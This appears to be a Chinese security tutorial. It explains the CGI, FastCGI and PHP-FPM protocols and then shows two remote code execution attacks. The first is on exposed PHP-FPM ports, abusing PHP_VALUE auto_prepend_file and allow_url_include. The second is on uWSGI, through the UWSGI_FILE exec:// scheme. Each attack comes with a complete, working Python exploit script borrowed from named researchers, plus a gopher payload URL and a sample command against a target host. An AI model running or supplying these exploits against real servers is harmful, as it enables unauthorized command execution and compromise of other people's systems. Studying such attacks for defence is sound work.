0x01 CGI 与FastCGI
CGI(common gateway interface)通用网关接口,可以是用户通过浏览器来访问执行在服务器上面的动态程序;CGI是web服务器与CGI程序间传输数据的标准,CGI请求以的大致方法如下
- 服务器根据 以/ 分割的路径选择解释器
- 如果有AUTH字段,需要先执行AUTH,再执行编译器
- 如果有CONTENT-TYPE字段,服务器必须将其传给解释器;若无此字段,但有信息体,则服务器判断此类型或抛弃信息体;
- 服务器必须设置REMOTE_ADDR,即客户端的请求ip
- SCRIPT_NAME 表示执行的解释器脚本名,必须设置;
- SERVER_NAME 和 SERVER_PORT 代表着大小写敏感的服务器名和服务器受理时的TCP/IP端口;
- 在 CONTENT-LENGTH 不为 NULL 时,服务器要提供信息体,此信息体要严格与长度相符,即使有更多的可读信息也不能多传;
- 服务器必须将数据压缩等编码解析出来;
之后CGI响应大致如下
- CGI解释器必须响应 至少一行头+换行+相应内容;
- 解释器在响应文档时,必须要有CONTENT-TYPE头
- 在客户端重定向时,解释器除了client-redir-reponse=绝对url地址,不能再有其他的返回,然后服务器返回一个302状态码
- 服务器必须将所有解释器返回的数据响应给客户端,除非需要压缩等编码,服务器不能修改响应数据;
该进程为昂webserver完成了自己的任务之后,会启动一个响应的CGI解释器,当启动一个CGI进程(php-fpm),该进程会加载php.ini的配置,通过配置的处理响应工作,最后动态解释PHP程序,完成工作并响应结果
FastCGI
全称为"fast common gateway interface" ,快速通用网关接口,为CGI的优化升级,它是建立在CGI/1.1基础之上,同为进行数据交换的一个通道。FastCGI的传输的消息做了很多类型的成分,他定义了一个统一结构的8个字节消息头,用来标识每个消息的消息体,以及实现消息的分割,大致定义如下
typedef struct _fcgi_header {
unsigned char version; // 标识FastCGI协议版本
unsigned char type; // 标识FastCGI记录类型,也就是记录执行的一般职能
unsigned char requestIdB1; // 标识记录所属的FastCGI请求
unsigned char requestIdB0; // 标识记录所属的FastCGI请求
unsigned char contentLengthB1; // 记录的contentData组件的字节数
unsigned char contentLengthB0; // 记录的contentData组件的字节数
unsigned char paddingLength;
unsigned char reserved;
} fcgi_header;
当两个相邻的结构体组件除了后缀B1和B0之外命名相同时,它表示两个组件可视为估值为B1<<8+B0的单个数字,该单个数字的名字时这些组件减去后缀的名字,同时协议头中requestId和contentLength的最大胀肚为65535,如果超过则分为多个相同类型的消息发送即可.
FastCGI Type
type
为指定record的作用,因为fastcgi的一个record的大小是有限的,作用也是单一的,因此想要在一个TCP流里面传输uo个record。则需要通过type来标志每一个record的作用,可以用requestId作为同一次请求的id。FastCGI传输一个名称-值作为名称的长度,然后是值的长度,然后是名称,最后是值,长度为127字节或者更小的的可以用一个字节编码,而较长的长度是四个字节编码,类似如下
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength];
} FCGI_NameValuePair41;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;
长度的第一个字节的高阶位表示长度的编码。高阶零表示一个字节编码,一个1表示四个字节编码。这种名称-值对格式允许发送方传输二进制值,而不需要额外的编码,并且允许接收方立即分配正确的存储量,即使对于较大的值也是如此。
0x02 PHP-FPM(FastCGI进程管理器)
FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。 官网上写着它的功能有这几个
可以工作于不同的 uid/gid/chroot 环境下,并监听不同的端口和使用不同的 php.ini 配置文件(可取代 safe_mode 的设置);
文件上传优化支持
基本SAPI运行状态信息
基于php.ini的配置文件
其按照fastcgie的协议将TCP流解析成真正的数据。比如用户访问http://127.0.0.1/index.php?a=1&b=christa
,当web目录为/var/www/html,则Nginx会将该请求变成如下的的key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=christa',
'REQUEST_URI': '/index.php?a=1&b=christa',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组为PHP中$_SERVER
数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER
数组,像fpm发送请求指定执行的PHP文件。PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME
的值指向的PHP文件,即为/var/www/html/index.php
这个路径。同时PHP-FPM默认监听9000,当这个端口暴露在公网我们可以对该端口进行测试。同时因为security.limit_extension
的原因使得原来可以使用SCRIPT_FILENAME的值指定为任意后缀文件,像/etc/passwd等,现在就只限定了.php
的文件,原来的文件将会显示Access denied
我们可以在/usr/local/etc/php-fpm.d/www.conf
上面看到该项配置
只能读取php文件,因此我们可以找找在安装php时默认安装的php文件
随机读取一个文件
成功读取,那么执行命令就很明显了,在php.ini中有一个项.user.ini文件相同的配置 auto_prepend_file
和auto_append_file
,这两个文件就是SUCTF中的文件眉脚,我们将auto_prepend_file
设置为php://input就能在body中执行php命令了,同时开启 allow_url_include
配置,只需要传入上面的fastcgi的方法,再加上PHP_VALUE
和PHP_ADMIN_VALUE
这两个用于PHP配置的选项,但不能配置disable_function配置
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=christa',
'REQUEST_URI': '/index.php?a=1&b=christa',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE':'auto_prepend_file=php://input',
'PHP_ADMIN_VALUE':'allow_url_include=On'
}
因此借用P神的脚本
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
既可以执行命令
0x03 uWSGI远程代码执行
其漏洞原因是在uwsgi协议中允许传递一些魔术变量,这些变量通常都是可以起到动态调整参数的作用。其中有一个参数UWSGI_FILE
,看看手册上的定义
可以用来忽略原有uWSGI绑定App,动态设定一个新的文件进行加载执行。这里本身就是一个LFI的漏洞,可以任意执行本地存在的任何文件。同时,由于uWSGI程序中默认注册了一系列schemes,导致此问题可以更被放大。同时此代码中还存在exec协议,因此可以通过UWSGI_FILE变量传参进行命令执行。
void uwsgi_setup_schemes() {
uwsgi_register_scheme("emperor", uwsgi_scheme_emperor);
uwsgi_register_scheme("http", uwsgi_scheme_http);
uwsgi_register_scheme("data", uwsgi_scheme_data);
uwsgi_register_scheme("sym", uwsgi_scheme_sym);
uwsgi_register_scheme("section", uwsgi_scheme_section);
uwsgi_register_scheme("fd", uwsgi_scheme_fd);
uwsgi_register_scheme("exec", uwsgi_scheme_exec);
uwsgi_register_scheme("call", uwsgi_scheme_call);
uwsgi_register_scheme("callint", uwsgi_scheme_callint);
}
static char *uwsgi_scheme_exec(char *url, size_t *size, int add_zero) {
int cpipe[2];
if (pipe(cpipe)) {
uwsgi_error("pipe()");
exit(1);
}
uwsgi_run_command(url, NULL, cpipe[1]);
char *buffer = uwsgi_read_fd(cpipe[0], size, add_zero);
close(cpipe[0]);
close(cpipe[1]);
return buffer;
}
先读一下uwsgi的说明书,其发送的文件有几个如下的点
modifier(1 btyes) | 0(%00) |
datasize (2 bytes) | 26(%1A%00) |
modifier2 (1 byte) | 0(%00) |
和对于uwsgi file的使用标准
key length (2 bytes) | 10(%0A%00) |
key data (m bytes) | UWSGI_FILE |
value length (2 bytes) | 12(%0C%00) |
value data (n bytes) | /tmp/file |
因此我们可以使用gopher运行我们想要的任意文件,其url为
gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/file
首先创建一个foo.py的文件
def application(env, start_response):
start_response('200 OK', [('Content-Type','text/html')])
return [b"Hello World"]
之后使用命令uwsgi --socket :9000 --wsgi-file foo.py
启动一个新的服务,访网址得到回复
借用wufriwo师傅的exp进行命令执行
#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: wofeiwo@80sec.com
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
if sys.version_info[0] == 3: import bytes
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
def pack_uwsgi_vars(var):
pk = b''
for k, v in var.items() if hasattr(var, 'items') else var:
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
result = b'\x00' + sz(pk) + b'\x00' + pk
return result
def parse_addr(addr, default_port=None):
port = default_port
if isinstance(addr, str):
if addr.isdigit():
addr, port = '', addr
elif ':' in addr:
addr, _, port = addr.partition(':')
elif isinstance(addr, (list, tuple, set)):
addr, port = addr
port = int(port) if port else port
return (addr or '127.0.0.1', port)
def get_host_from_url(url):
if '//' in url:
url = url.split('//', 1)[1]
host, _, url = url.partition('/')
return (host, '/' + url)
def fetch_data(uri, payload=None, body=None):
if 'http' not in uri:
uri = 'http://' + uri
s = requests.Session()
# s.headers['UWSGI_FILE'] = payload
if body:
import urlparse
body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
d = s.post(uri, data=body_d)
else:
d = s.get(uri)
return {
'code': d.status_code,
'text': d.text,
'header': d.headers
}
def ask_uwsgi(addr_and_port, mode, var, body=''):
if mode == 'tcp':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(parse_addr(addr_and_port))
elif mode == 'unix':
s = socket.socket(socket.AF_UNIX)
s.connect(addr_and_port)
s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
response = []
# Actually we dont need the response, it will block if we run any commands.
# So I comment all the receiving stuff.
# while 1:
# data = s.recv(4096)
# if not data:
# break
# response.append(data)
s.close()
return b''.join(response).decode('utf8')
def curl(mode, addr_and_port, payload, target_url):
host, uri = get_host_from_url(target_url)
path, _, qs = uri.partition('?')
if mode == 'http':
return fetch_data(addr_and_port+uri, payload)
elif mode == 'tcp':
host = host or parse_addr(addr_and_port)[0]
else:
host = addr_and_port
var = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'GET',
'PATH_INFO': path,
'REQUEST_URI': uri,
'QUERY_STRING': qs,
'SERVER_NAME': host,
'HTTP_HOST': host,
'UWSGI_FILE': payload,
'SCRIPT_NAME': target_url
}
return ask_uwsgi(addr_and_port, mode, var)
def main(*args):
desc = """
This is a uwsgi client & RCE exploit.
Last modifid at 2018-01-30 by wofeiwo@80sec.com
"""
elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""
parser = argparse.ArgumentParser(description=desc, epilog=elog)
parser.add_argument('-m', '--mode', nargs='?', default='tcp',
help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
dest='mode', choices=['http', 'tcp', 'unix'])
parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
dest='uwsgi_addr')
parser.add_argument('-c', '--command', nargs='?', required=True,
help='Command: The exploit command you want to execute, must have this.',
dest='command')
if len(sys.argv) < 2:
parser.print_help()
return
args = parser.parse_args()
if args.mode.lower() == "http":
print("[-]Currently only tcp/unix method is supported in RCE exploit.")
return
payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs.
print("[*]Sending payload.")
print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))
if __name__ == '__main__':
main()
使用命令python2 uwsgi-exp.py -u vps:9000 -c "echo 'test' > /tmp/exp"
进行发送
成功执行命令,
但是使用命令uwsgi --http :9000 --wsgi-file foo.py则目前无法使用http协议
Reference
- https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi
- https://fastcgi-archives.github.io/FastCGI_Specification.html
- https://www.php.net/manual/zh/install.fpm.php
- https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
- https://zaratec.github.io/2018/12/20/rwctf2018-magic-tunnel/